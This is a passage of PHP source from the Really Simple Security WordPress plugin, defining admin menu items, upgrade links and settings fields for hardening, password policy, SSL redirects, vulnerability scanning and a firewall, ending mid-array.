					'id'         => 'le-directories',
					'title'      => __('Directories', 'really-simple-ssl'),
					'tests_only' => true,
				],
				[
					'id'         => 'le-dns-verification',
					'title'      => __('DNS verification', 'really-simple-ssl'),
					'tests_only' => true,
				],
				[
					'id'         => 'le-generation',
					'title'      => __('Generation', 'really-simple-ssl'),
					'tests_only' => true,
				],
				[
					'id'         => 'le-installation',
					'title'      => __('Installation', 'really-simple-ssl'),
					'tests_only' => true,
				],
				[
					'id'         => 'le-activate_ssl',
					'title'      => __('Activate', 'really-simple-ssl'),
					'tests_only' => true,
				],
			],
		],
	];
	$menu_items = apply_filters('rsssl_menu', $menu_items);
	return rsssl_add_url_param_ids( $menu_items );
}

/**
 * Add URL parameters to upgrade links
 *
 * @param array $menu_items
 *
 * @return array
 */
function rsssl_add_url_param_ids( array $menu_items ): array {

	foreach ( $menu_items as $key => $menu_item ) {
		if (isset($menu_item['menu_items'])) {
			$menu_items[ $key ]['menu_items'] = rsssl_add_url_param_ids( $menu_item['menu_items'] );
		}
		if (isset($menu_item['groups'])) {
			$menu_items[ $key ]['groups'] = rsssl_add_url_param_ids( $menu_item['groups'] );
		}
		if ( isset( $menu_item['premium'] ) ) {
			$menu_items[ $key ]['upgrade'] =rsssl_link( 'pro', $menu_item['id'] );
		}

		if ( isset( $menu_item['helpLink'] ) ) {
			$menu_items[ $key ]['helpLink'] = rsssl_link( $menu_item['helpLink'], 'instructions', $menu_item['id'] );
		}
	}
	return $menu_items;
}

function rsssl_get_url_ref(){
	if ( !defined('HBRW_PLATFORM_ID') ) {
		return false;
	}

	if ( defined( 'rsssl_pro') ) {
		return false;
	}

	$param_ids = [
		1 => 483,//Combell
		2 => 492,//Easyhost
	];
	$id = (int) HBRW_PLATFORM_ID;
	return $param_ids[ $id ] ?? false;
}

function rsssl_link( $slug = 'pro', $mtm_campaign = 'notification', $mtm_src = 'free', $discount = '' ): string {
	$mtm_src      = sanitize_title( $mtm_src );
	$mtm_campaign = sanitize_title( $mtm_campaign );
	$ref          = rsssl_get_url_ref();
	//remove slash at start of $slug, if existing, and add at the end.
	$slug = trailingslashit( ltrim( $slug, '/' ) );

	$multisite = is_multisite() ? 'mtm_kwd=multisite&' : '';
	$url       = "https://really-simple-ssl.com/$slug?{$multisite}mtm_campaign=$mtm_campaign&mtm_source=$mtm_src&mtm_content=upgrade";

	if ( (int) $ref > 0 ) {
		$url = add_query_arg( 'ref', $ref, $url );
	}

	// Add discount code separately if provided
	if ( ! empty( $discount ) ) {
		$url = add_query_arg( 'discount', $discount, $url );
	}

	return $url;
}


really-simple-ssl/settings/config/index.php000064400000000043147510273070015052 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/settings/config/disable-fields-filter.php000064400000005537147510273070020112 0ustar00<?php
defined('ABSPATH') or die();

/**
 * @param $fields
 *
 * @return mixed
 */
function rsssl_remove_fields($fields){
	$redirect_index = array_search( 'redirect', array_column( $fields, 'id' ), true );
	if ( !rsssl_uses_htaccess() ){
		unset($fields[$redirect_index]['options']['htaccess']);
	} else {
		$fields[$redirect_index]['warning'] = true;
		$fields[$redirect_index]['tooltip'] = ' '.__('On Apache you can use a .htaccess redirect, which is usually faster, but may cause issues on some configurations. Read the instructions in the sidebar first.', 'really-simple-ssl');
		if ( rsssl_get_option('redirect' ) !== 'htaccess' ) {
			$fields[ $redirect_index ]['help'] = [
				'label' => 'warning',
				'title' => __( "Redirect method", 'really-simple-ssl' ),
				'text'  => __( 'Enable .htaccess only if you know how to regain access in case of issues.', 'really-simple-ssl' ) . ' ' . __( 'Redirects your site to https with a SEO friendly 301 redirect if it is requested over http.', 'really-simple-ssl' ),
				'url'   => 'remove-htaccess-redirect-site-lockout',
			];
		}
	}

	if ( is_multisite() && !rsssl_is_networkwide_active() ){
		unset($fields[$redirect_index]['options']['htaccess']);
		$fields = array_values($fields);
	}

	// 2FA and LLA e-mail verification help texts
	if ( ! rsssl_is_email_verified() ) {
		$index = array_search( 'send_verification_email', array_column( $fields, 'id' ), true );
		$fields[$index]['help'] = rsssl_email_help_text();
		$fields = array_values($fields);
	}

	if ( ! rsssl_is_email_verified() && rsssl_get_option('two_fa_enabled_email') == '1' ) {
		$index = array_search( 'two_fa_enabled_email', array_column( $fields, 'id' ), true );
		$fields[$index]['help'] = rsssl_email_help_text();
		$fields = array_values($fields);
	}

	if ( ! rsssl_is_email_verified() && rsssl_get_option('enable_limited_login_attempts') == '1' ) {
		$index = array_search( 'limit_login_attempts_amount', array_column( $fields, 'id' ), true );
		//if LLA is not included yet, this index will be false.
		if ( $index !== false ) {
			$fields[$index]['help'] = rsssl_email_help_text();
			$fields = array_values($fields);
		}

	}

	return $fields;
}
add_filter('rsssl_fields', 'rsssl_remove_fields', 500, 1);

function rsssl_email_help_text() {

	return [
		'label' => rsssl_is_email_verified() ? 'success' : 'warning',
		'title' => __( "Email validation", 'really-simple-ssl' ),
		'url'   => 'instructions/email-verification',
		'text'  => rsssl_is_email_verified()
			? __( "Email validation completed", 'really-simple-ssl' )
			: ( rsssl_check_if_email_essential_feature()
				? __( "You're using a feature where email is an essential part of the functionality. Please validate that you can send emails on your server.", 'really-simple-ssl' )
				: __("Email not verified yet. Verify your email address to get the most out of Really Simple Security.", "really-simple-ssl")
			),
	];
}
really-simple-ssl/settings/config/fields/hardening-extended.php000064400000016175147510273070020763 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[


			[
				'id'                 => 'change_debug_log_location',
				'group_id'           => 'hardening-extended',
				'menu_id'            => 'hardening-extended',
				'type'               => 'checkbox',
				'tooltip'  => __( "A debug.log is publicly accessibile and has a standard location. This will change the location to a randomly named folder in /wp-content/", 'really-simple-ssl' ),
				'email'            => [
					'title'   => __( "Settings update: Debug.log file relocated", 'really-simple-ssl' ),
					'message' => __( "From now on, the debug.log won’t be publicly accessible whenever wp-debugging is enabled. The debug log will be stored in a randomly named folder in /wp-content/. This prevents possible leakage of sensitive debugging information.", 'really-simple-ssl' ),
					'url'     => 'https://really-simple-ssl.com/instructions/debug-log-has-been-relocated-but-where',
				],
				'label'              => __( "Change debug.log file location", 'really-simple-ssl' ),
				'disabled'           => false,
				'default'            => false,
			],
			[
				'id'       => 'disable_application_passwords',
				'menu_id'  => 'hardening-extended',
				'group_id' => 'hardening-extended',
				'type'     => 'checkbox',
				'label'    => __( "Disable application passwords", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'block_admin_creation',
				'menu_id'  => 'hardening-extended',
				'group_id' => 'hardening-extended',
				'type'     => 'checkbox',
				'warning'  => __( "This setting will block attempts to assign administrator roles outside the native user creation process by WordPress. This might include other plugins that create, edit or assign roles to users. If you need to create an administrator in a third-party plugin, temporarily disable this setting while you make the changes.", 'really-simple-ssl' ),
				'tooltip'  => __( "This setting will block attempts to assign administrator roles outside the native user creation process by WordPress. This might include other plugins that create, edit or assign roles to users. If you need to create an administrator in a third-party plugin, temporarily disable this setting while you make the changes.", 'really-simple-ssl' ),
				'help'               => [
					'label' => 'default',
					'url'   => 'instructions/about-hardening-features/',
					'title' => __( "Unauthorized administrators", 'really-simple-ssl' ),
					'text'  => __( 'Many vulnerabilities are exploited by injecting a user with administrator capabilities outside of the native WordPress creation process. Under advanced hardening you can prevent this from happening.', 'really-simple-ssl' ),
				],
				'label'    => __( "Restrict creation of administrator roles", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'disable_http_methods',
				'menu_id'  => 'hardening-extended',
				'group_id' => 'hardening-extended',
				'type'     => 'checkbox',
				'tooltip'  => __( "This will limit or fully disable HTTP requests that are not needed, but could be used with malicious intent.", 'really-simple-ssl' ),
				'label'    => __( "Disable HTTP methods", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'rename_db_prefix',
				'menu_id'  => 'hardening-extended',
				'group_id' => 'hardening-extended',
				'email'            => [
					'title'   => __( "Settings update: Database prefix changed", 'really-simple-ssl' ),
					'message' => __( "Security through obscurity. Your site is no longer using the default wp_ prefix for database tables. The process has been designed to only complete and replace the tables after all wp_ tables are successfully renamed. In the unlikely event that this does lead to database issues on your site, please navigate to our troubleshooting article.", 'really-simple-ssl' ),
					'url'     => 'instructions/database-issues-after-changing-prefix',
				],
				'tooltip'  => __( "This will permanently change your database prefixes and you can NOT rollback this feature. Please make sure you have a back-up.", 'really-simple-ssl' ),
				'warning'  => __( "This will permanently change your database prefixes and you can NOT rollback this feature. Please make sure you have a back-up.", 'really-simple-ssl' ),
				'type'     => 'checkbox',
				'label'    => __( "Rename and randomize your database prefix", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'permission_detection',
				'menu_id'  => 'hardening-extended',
				'group_id' => 'hardening-extended',
				'type'     => 'checkbox',
				'tooltip'  => __( "Really Simple Security will scan for insecure file and folder permissions on a weekly basis. You will receive an email report and Dashboard notice if insecure permissions are found.", 'really-simple-ssl' ),
				'label'    => __( "File permissions check", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'change_login_url_enabled',
				'menu_id'  => 'hardening-extended',
				'group_id' => 'hardening-extended',
				'warning'  => true,
				'type'     => 'checkbox',
				'tooltip'  => __( "Allows you to enter a custom login URL.", 'really-simple-ssl' ),
				'label'    => __( "Enable Custom login URL", 'really-simple-ssl' ),
				'email'            => [
					'title'   => __( "You have changed your login URL", 'really-simple-ssl' ),
					'message' => __( "Your login URL has changed to {login_url} to prevent common bot attacks on standard login URLs. Learn more about this feature, common questions and measures to prevent any issues.", 'really-simple-ssl' ),
					'url'     => 'https://really-simple-ssl.com/instructions/login-url-changed',
				],
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'change_login_url',
				'menu_id'  => 'hardening-extended',
				'group_id' => 'hardening-extended',
				'type'     => 'text',
				'tooltip'  => __( "Enter a custom login URL. This allows you to log in via this custom URL instead of /wp-admin or /wp-login.php", 'really-simple-ssl' ),
				'placeholder'  => __( "Example: If you want to change your login page from /wp-admin/ to /control/ answer: control", 'really-simple-ssl' ),
				'label'    => __( "Custom login URL", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
				'condition_action'   => 'hide',
				'pattern' => '[a-zA-Z0-9\-_]+',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'change_login_url_enabled' => 1,
					]
				],
			],
			[
				'id'       => 'change_login_url_failure_url',
				'menu_id'  => 'hardening-extended',
				'group_id' => 'hardening-extended',
				'type'     => 'postdropdown',
				'tooltip'  => __( "Users trying to enter via /wp-admin or /wp-login.php will be redirected to this URL.", 'really-simple-ssl' ),
				'label'    => '',
				'disabled' => false,
				'default'  => '404_default',
				'condition_action'   => 'hide',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'change_login_url_enabled' => 1,
					]
				],
			],
		]
	);
}, 200 );
really-simple-ssl/settings/config/fields/access-control.php000064400000007250147510273070020137 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[
			[
				'id'       => 'enforce_password_security_enabled',
				'menu_id'  => 'password_security',
				'group_id' => 'password_security_passwords',
				'type'     => 'checkbox',
				'label'    => __( "Enforce strong passwords", "really-simple-ssl" ),
				'disabled' => false,
				'default'  => 'disabled',
				'tooltip'  => __( "This adds extra requirements for strong passwords for new users and updated passwords.", 'really-simple-ssl' ),
				'help'     => [
					'label' => 'default',
					'url'   => 'instructions/password-security',
					'title' => __( "Enforce strong passwords", 'really-simple-ssl' ),
					'text'  => __( 'Improve the default WordPress password strength check. You can also enforce frequent password changes for user roles.', 'really-simple-ssl' ).' '.__('They might be misused if you don’t actively tell the browser to disable these features.', 'really-simple-ssl' ),
				],
			],
			[
				'id'       => 'enforce_frequent_password_change',
				'menu_id'  => 'password_security',
				'group_id' => 'password_security_passwords',
				'type'     => 'checkbox',
				'label'    => __( "Enforce frequent password change", "really-simple-ssl" ),
				'disabled' => false,
				'default'  => 'disabled',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enforce_password_security_enabled' => 1,
					]
				],
			],
			[
				'id'       => 'password_change_roles',
				'menu_id'  => 'password_security',
				'group_id' => 'password_security_passwords',
				'type'     => 'roles_dropdown',
				'default'  => [ 'administrator'],
				'label'    => __( "User roles for password change", "really-simple-ssl" ),
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enforce_frequent_password_change' => 1,
					]
				],
			],
			[
				'id'       => 'password_change_frequency',
				'menu_id'  => 'password_security',
				'group_id' => 'password_security_passwords',
				'type'     => 'select',
				'default'  => '12',
				'options'   => [
					'6' => __( "6 months", "really-simple-ssl" ),
					'12' => __( "1 year", "really-simple-ssl" ),
					'24' => __( "2 years", "really-simple-ssl" ),
				],
				'label'    => __( "Change passwords every", "really-simple-ssl" ),
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enforce_frequent_password_change' => 1,
					]
				],
			],
			[
				'id'       => 'login_cookie_expiration',
				'menu_id'  => 'password_security',
				'group_id' => 'password_security_passwords',
				'type'     => 'select',
				'default'  => '48',
				'options'   => [
					'8' => __( "8 hours (recommended)", "really-simple-ssl" ),
					'48' => __( "48 hours (default)", "really-simple-ssl" ),
				],
				'label'    => __( "Limit logged in session duration", "really-simple-ssl" ),
				'help'             => [
					'label' => 'default',
					'title' => __( "Prevent session hijacking", 'really-simple-ssl' ),
					'text'  => __( "Really Simple Security allows you to limit the default logged in session duration. By default, WordPress will keep users logged in for 48 hours, or even 14 days when clicking the ‘remember me’ checkbox. An attacker could possibly steal the logged in cookie and gain access to a user’s account. Limiting the logged in duration to 8 hours will greatly reduce the risk of session hijacking.", 'really-simple-ssl' ),
				],
			],
			[
				'id'       => 'hide_rememberme',
				'menu_id'  => 'password_security',
				'group_id' => 'password_security_passwords',
				'type'     => 'checkbox',
				'default'  => false,
				'label'    => __( "Hide the remember me checkbox", "really-simple-ssl" ),
			],
		]
	);
}, 200 );
really-simple-ssl/settings/config/fields/encryption.php000064400000011165147510273070017412 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[

			[
				'id'               => 'redirect',
				'menu_id'          => 'encryption',
				'group_id'         => 'encryption_redirect',
				'type'             => 'select',
				'tooltip'  => __( "Changing redirect methods should be done with caution. Please make sure you have read our instructions beforehand at the right-hand side.", 'really-simple-ssl' ),
				'label'            => __( "Redirect method", 'really-simple-ssl' ),
				'warning'     			=> true,
				'options'          => [
					'none'         => __( "No redirect", "really-simple-ssl" ),
					'wp_redirect'  => __( "301 PHP redirect", "really-simple-ssl" ),
					'htaccess'     => __( "301 .htaccess redirect (read instructions first)", "really-simple-ssl" ),
				],
				'help'             => [
					'label' => 'default',
					'title' => __( "Redirect method", 'really-simple-ssl' ),
					'text'  => __( 'Redirects your site to https with a SEO friendly 301 redirect if it is requested over http.', 'really-simple-ssl' ),
				],
				'email'            => [
					'title'     => __("Settings update: .htaccess redirect", 'really-simple-ssl'),
					'message'   => __("The .htaccess redirect has been enabled on your site. If the server configuration is non-standard, this might cause issues. Please check if all pages on your site are functioning properly.",
						'really-simple-ssl'),
					'url'       => 'https://really-simple-ssl.com/remove-htaccess-redirect-site-lockout',
					'condition' => ['redirect' => 'htaccess']
				],
				'react_conditions' => [
					'relation' => 'AND',
					[
						'ssl_enabled' => '1',
					]
				],
				'default'          => false,
			],
			[
				'id'       => 'mixed_content_fixer',
				'menu_id'  => 'encryption',
				'group_id' => 'mixed-content-general',
				'type'     => 'checkbox',
				'label'    => __("Mixed content fixer", 'really-simple-ssl'),
				'disabled' => false,
				'default'  => true,
			],
			[
				'id'               => 'switch_mixed_content_fixer_hook',
				'menu_id'  => 'encryption',
				'group_id' => 'mixed-content-general',
				'type'             => 'checkbox',
				'label'            => __("Mixed content fixer - init hook", 'really-simple-ssl'),
				'disabled'         => false,
				'required'         => false,
				'default'          => false,
				'tooltip'          => __('If this option is set to true, the mixed content fixer will fire on the init hook instead of the template_redirect hook. Only use this option when you experience problems with the mixed content fixer.',
					'really-simple-ssl'),
				'react_conditions' => [
					'relation' => 'AND',
					[
						'mixed_content_fixer' => 1,
					]
				],
			],
			[
				'id'       => 'admin_mixed_content_fixer',
				'menu_id'  => 'encryption',
				'group_id' => 'mixed-content-general',
				'type'     => 'checkbox',
				'label'    => __("Mixed content fixer - back-end", "really-simple-ssl"),
				'tooltip'  => __("Only enable this if you experience mixed content in the admin environment of your WordPress website.",
					'really-simple-ssl'),
				'disabled' => false,
				'default'  => false,
			],

			[
				'id'          => 'mixedcontentscan',
				'menu_id'     => 'encryption',
				'group_id'    => 'mixed-content-scan',
				'type'        => 'mixedcontentscan',
				'label'       => __( "Mixed content scan", "really-simple-ssl" ),
				'help'        => [
					'label' => 'default',
					'url' => 'definition/what-is-mixed-content',
					'title' => __( "About the Mixed Content Scan", 'really-simple-ssl' ),
					'text'  => __( 'The extensive mixed content scan will list all issues and provide a fix, or instructions to fix manually.', 'really-simple-ssl' ),
				],
				'columns'     => [
					[
						'name'     => __( 'Type', 'really-simple-ssl' ),
						'sortable' => true,
						'column'   => 'warningControl',
						'grow'     => 5,
						'width'   => '5%',
					],
					[
						'name'     => __( 'Description', 'really-simple-ssl' ),
						'sortable' => true,
						'column'   => 'description',
						'grow'     => 15,
					],
					[
						'name'     => __( 'Location', 'really-simple-ssl' ),
						'sortable' => true,
						'column'   => 'locationControl',
						'grow'     => 4,
					],

					[
						'name'     => __( '', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'detailsControl',
						'grow'     => 5,
					],
					[
						'name'     => __( '', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'fixControl',
						'grow'     => 5,
						'right'    => true,
					],
				],
				'disabled'    => false,
				'default'     => false,
			],
		]
	);
}, 300 );
really-simple-ssl/settings/config/fields/vulnerability-detection.php000064400000020370147510273070022063 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[

			[
				'id' => 'enable_vulnerability_scanner',
				'menu_id' => 'vulnerabilities_basic',
				'group_id' => 'vulnerabilities_basic',
				'type' => 'checkbox',
				'label' => __('Enable vulnerability scanning', 'really-simple-ssl'),
				'tooltip'  => __( "This feature depends on multiple standard background processes. If a process fails or is unavailable on your system, detection might not work. We run frequent tests for this purpose. We will notify you accordingly if there are any issues.", 'really-simple-ssl' ),
				'disabled' => false,
				'default' => false,
				'warning' => true,
				'help'               => [
					'label' => 'default',
					'url'   => 'instructions/about-vulnerabilities/',
					'title' => __( "About Vulnerabilities", 'really-simple-ssl' ),
					'text'  => __( 'Really Simple Security collects information about plugins, themes, and core vulnerabilities from our database powered by WPVulnerability. Anonymized data about these vulnerable components will be sent to Really Simple Security for statistical analysis to improve open-source contributions. For more information, please read our privacy statement.', 'really-simple-ssl' ),
				],
			],
			[
				'id' => 'vulnerabilities_intro_shown',
				'menu_id' => 'vulnerabilities_basic',
				'group_id' => 'vulnerabilities_basic',
				'type' => 'hidden',
				'label' => '',
				'disabled' => false,
				'default' => false,
			],
			[
				'id' => 'enable_feedback_in_plugin',
				'menu_id' => 'vulnerabilities_notifications',
				'group_id' => 'vulnerabilities_notifications',
				'tooltip'  => __( "If there's a vulnerability, you will also get feedback on the themes and plugin overview.", 'really-simple-ssl' ),
				'warning' => false,
				'type' => 'checkbox',
				'label' => __('Feedback in plugin overview', 'really-simple-ssl'),
				'disabled' => false,
				'default' => false,
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_vulnerability_scanner' => 1,
					]
				],
			],
			/* Vulnerability advanced Section */
			[
				'id' => 'vulnerability_notification_dashboard',
				'menu_id' => 'vulnerabilities_notifications',
				'group_id' => 'vulnerabilities_notifications',
				'type' => 'select',
				'options' => [
					'*' => __('None', 'really-simple-ssl'),
					'l' => __('Low-risk (default)', 'really-simple-ssl'),
					'm' => __('Medium-risk', 'really-simple-ssl'),
					'h' => __('High-risk', 'really-simple-ssl'),
					'c' => __('Critical', 'really-simple-ssl'),
				],
				'label' => __('Really Simple Security dashboard', 'really-simple-ssl'),
				'disabled' => false,
				'default' => 'l',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_vulnerability_scanner' => 1,
					]
				],
			],
			[
				'id' => 'vulnerability_notification_sitewide',
				'menu_id' => 'vulnerabilities_notifications',
				'group_id' => 'vulnerabilities_notifications',
				'type' => 'select',
				'options' => [
					'*' => __('None', 'really-simple-ssl'),
					'l' => __('Low-risk ', 'really-simple-ssl'),
					'm' => __('Medium-risk', 'really-simple-ssl'),
					'h' => __('High-risk (default)', 'really-simple-ssl'),
					'c' => __('Critical', 'really-simple-ssl'),
				],
				'label' => __('Site-wide, admin notification', 'really-simple-ssl'),
				'disabled' => false,
				'default' => 'h',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_vulnerability_scanner' => 1,
					]
				],
			],
			[
				'id' => 'vulnerability_notification_email_admin',
				'menu_id' => 'vulnerabilities_notifications',
				'group_id' => 'vulnerabilities_notifications',
				'type' => 'select',
				'options' => [
					'*' => __('None', 'really-simple-ssl'),
					'l' => __('Low-risk', 'really-simple-ssl'),
					'm' => __('Medium-risk', 'really-simple-ssl'),
					'h' => __('High-risk', 'really-simple-ssl'),
					'c' => __('Critical (default)', 'really-simple-ssl'),
				],
				'label' => __('Email', 'really-simple-ssl'),
				'tooltip'  => __( "This will send emails about vulnerabilities directly from your server. Make sure you can receive emails by the testing a preview below. If this feature is disabled, please enable notifications under general settings.", 'really-simple-ssl' ),
				'warning' => true,
				'disabled' => false,
				'default' => 'c',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_vulnerability_scanner' => 1,
					],
					[
						'send_notifications_email' => 1,
					]
				],
			],
			[
				'id' => 'vulnerabilities_test',
				'menu_id' => 'vulnerabilities_notifications',
				'group_id' => 'vulnerabilities_notifications',
				'type' => 'notificationtester',
				'action' => 'test_vulnerability_notification',
				'label' => __('Test notifications', 'really-simple-ssl'),
				'tooltip' => __('Test notifications can be used to test email delivery and shows how vulnerabilities will be reported on your WordPress installation.', 'really-simple-ssl'),
				'disabled' => false,
				'button_text' => __( "Test notifications", "really-simple-ssl" ),
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_vulnerability_scanner' => 1,
						'send_notifications_email' => 1,
					]
				],
			],
			[
				'id'    => 'vulnerabilities-overview',
				'menu_id' => 'vulnerabilities_basic',
				'group_id' => 'vulnerabilities_overview',
				'type' => 'vulnerabilitiestable',

				'label' => __('Vulnerabilities Overview', 'really-simple-ssl'),
				'disabled' => false,
				'default' => false,
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_vulnerability_scanner' => 1,
					]
				],
				'columns'          => [
					[
						'id'       => 'component',
						'name'     => __('Component', 'really-simple-ssl'),
						'sortable' => false,
						'column'   => 'Name',
						'width'    => '55%',
						'searchable' => true,
					],
					[
						'id'       => 'date',
						'name'     => __('Date', 'really-simple-ssl'),
						'sortable' => false,
						'column'   => 'date',
						'width'    => '15%',
					],
					[
						'id'       => 'risk',
						'name'     => __('Risk', 'really-simple-ssl'),
						'sortable' => false,
						'column'   => 'risk_name',
						'width'    => '10%',
						'searchable' => true,
					],
					[
						'id'       => 'action',
						'name'     => __('', 'really-simple-ssl'),
						'sortable' => false,
						'column'   => 'vulnerability_action',
						'width'   => '20%',
					]
				]
			],
			[
				'id'               => 'vulnerabilities-measures-overview',
				'menu_id'          => 'vulnerabilities_measures',
				'group_id'         => 'vulnerabilities_measures',
				'type'             => 'riskcomponent',
				'options'          => [
					'*' => __('None', 'really-simple-ssl'),
					'l' => __('Low-risk', 'really-simple-ssl'),
					'm' => __('Medium-risk', 'really-simple-ssl'),
					'h' => __('High-risk', 'really-simple-ssl'),
					'c' => __('Critical', 'really-simple-ssl'),
				],
				'react_conditions' => [
					'relation' => 'AND',
					[
						'measures_enabled' => true,
					]
				],
				'disabled'         => false,
				'default'          => false,
				'columns'          => [
					[
						'name'     => __( 'Action', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'name',
						'width'    => '20%',
					],
					[
						'name'     => __( 'Risk', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'riskSelection',
						'width'         => '24%',
					],
					[
						'name'     => __( 'Description', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'description',
						'type'   => 'text',
					],
				],
			],
			[
				'id'       => 'measures_enabled',
				'menu_id'  => 'vulnerabilities_notifications',
				'group_id' => 'vulnerabilities_measures',
				'type'     => 'checkbox',
				'label'    => __("I have read and understood the risks to intervene with these measures.","really-simple-ssl"),
				'comment' => '<a href="https://really-simple-ssl.com/instructions/about-vulnerabilities#measures" target="_blank" rel="noopener noreferrer">'.__("Read more", "really-simple-ssl") .'</a>',
				'disabled' => false,
				'default'  => false,
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_vulnerability_scanner' => true,
					]
				],
			],
		]
	);
}, 200 );
really-simple-ssl/settings/config/fields/firewall.php000064400000022310147510273070017017 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[

			[
				'id' => 'enable_firewall',
				'menu_id' => 'rules',
				'group_id' => 'firewall_list_general',
				'type' => 'checkbox',
				'label' => __( 'Enable Firewall', 'really-simple-ssl' ),
				'disabled' => false,
				'default' => false,
			],
			[
				'id'      => 'firewall_white_listing_overview',
				'menu_id' => 'firewall_blocklists',
				'group_id' => 'firewall_white_list_listing',
				'type'    => 'geo-ip-datatable',
				'action'  => 'rsssl_geo_white_list',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_firewall' => true,
					]
				],
				'columns' => [
					[
						'name'       => __('IP Address', 'really-simple-ssl'),
						'sortable'   => true,
						'searchable' => true,
						'column'     => 'ip_address',
						'width'      => '45%',
					],
					[
						'name'     => __('Note', 'really-simple-ssl'),
						'sortable' => false,
						'column'   => 'note',
						'width'    => '20%',
					],
					[
						'name'     => __('Date', 'really-simple-ssl'),
						'sortable' => true,
						'column'   => 'create_date',
						'width'    => '18%',
					],
					[
						'name'     => '',
						'sortable' => false,
						'column'   => 'action',
						'width'    => '13%',
					],
				],
			],
			[
				'id'      => 'firewall_block_listing_overview',
				'menu_id' => 'firewall_blocklists',
				'group_id' => 'firewall_block_list_listing',
				'type'    => 'blocklist-datatable',
				'action'  => 'rsssl_firewall_block_list',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_firewall' => true,
					]
				],
				'columns' => [
					[
						'name'       => __('IP Address', 'really-simple-ssl'),
						'sortable'   => true,
						'searchable' => true,
						'column'     => 'ip_address',
						'width'      => '55%',
					],
					[
						'name'     => __('Note', 'really-simple-ssl'),
						'sortable' => false,
						'column'   => 'note',
						'width'    => '22%',
					],
					[
						'name'     => __('Time left', 'really-simple-ssl'),
						'sortable' => true,
						'column'   => 'time_left',
						'width'    => '10%',
					],
					[
						'name'     => '',
						'sortable' => false,
						'column'   => 'action',
						'width'    => '13%',
					],
				],
			],
			[
				'id'    => '404_blocking_threshold',
				'menu_id' => 'rules',
				'group_id' => '404_blocking',
				'type' => 'select',
				'label' => __( 'Threshold', 'really-simple-ssl' ),
				'tooltip' => sprintf(__('A lockout will occur if an IP address exceeds the threshold within the given timeframe. Select ‘%s’ if you want to disable 404 blocking.', 'really-simple-ssl'), __('Disabled', 'really-simple-ssl')),
				'default' => 'lax',
				'options' => [
					'disabled' => __( 'Disabled', 'really-simple-ssl' ),
					'lax' => __( 'Lax - 10 errors in 2 seconds', 'really-simple-ssl' ),
					'normal' => __( 'Normal - 10 errors in 5 seconds', 'really-simple-ssl' ),
					'strict' => __( 'Strict - 10 errors in 10 seconds', 'really-simple-ssl' ),
				],
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_firewall' => true,
					]
				],
			],
			[
				'id'    => '404_blocking_lockout_duration',
				'menu_id' => 'rules',
				'group_id' => '404_blocking',
				'type' => 'select',
				'label' => __( 'Lockout duration', 'really-simple-ssl' ),
				'tooltip' => __('The IP address will see a locked out screen for the selected duration.', 'really-simple-ssl'),
				'options' => [
					'30' => __( '30 minutes', 'really-simple-ssl' ),
					'60' => __( '1 hour', 'really-simple-ssl' ),
					'240' => __( '4 hours', 'really-simple-ssl' ),
					'1440' => __( '1 day', 'really-simple-ssl' ),
				],
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_firewall' => true,
					]
				],
			],
			[
				'id'    => '404_blocking_captcha_trigger',
				'menu_id' => 'rules',
				'group_id' => '404_blocking',
				'type' => 'checkbox',
				'tooltip' => __('Allow visitors that might accidentally exceed the threshold to unblock themselves using a Captcha.', 'really-simple-ssl'),
				'label' => __( 'Trigger Captcha on lockout', 'really-simple-ssl' ),
				'disabled'         => false,
				'default'          => false,
				'comment'                 => sprintf(__( 'Please configure your %sCaptcha settings%s before enabling this setting',
					'really-simple-ssl' ), '<a id="set_to_captcha_configuration" href="#settings/general/enable_captcha_provider">', '</a>'),
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_firewall' => true,
						'captcha_fully_enabled' => true,
					],
				],
			],
            [
                'id'               => 'user_agent_listing_overview',
                'menu_id'          => 'rules',
                'group_id'         => 'user_agents',
                'type'             => 'user-agents-datatable',
                'action'           => 'rsssl_user_agent_list',
                'options'          => [
                    'deleted' => __('Deleted', 'really-simple-ssl'),
                    'blocked'  => __('Blocked', 'really-simple-ssl'),
                ],
                'disabled'         => false,
                'default'          => false,
                'react_conditions' => [
                    'relation' => 'AND',
                    [
                        'enable_firewall' => true,
                    ]
                ],
                'columns'          => [
                    [
                        'name'       => __('User-Agent', 'really-simple-ssl'),
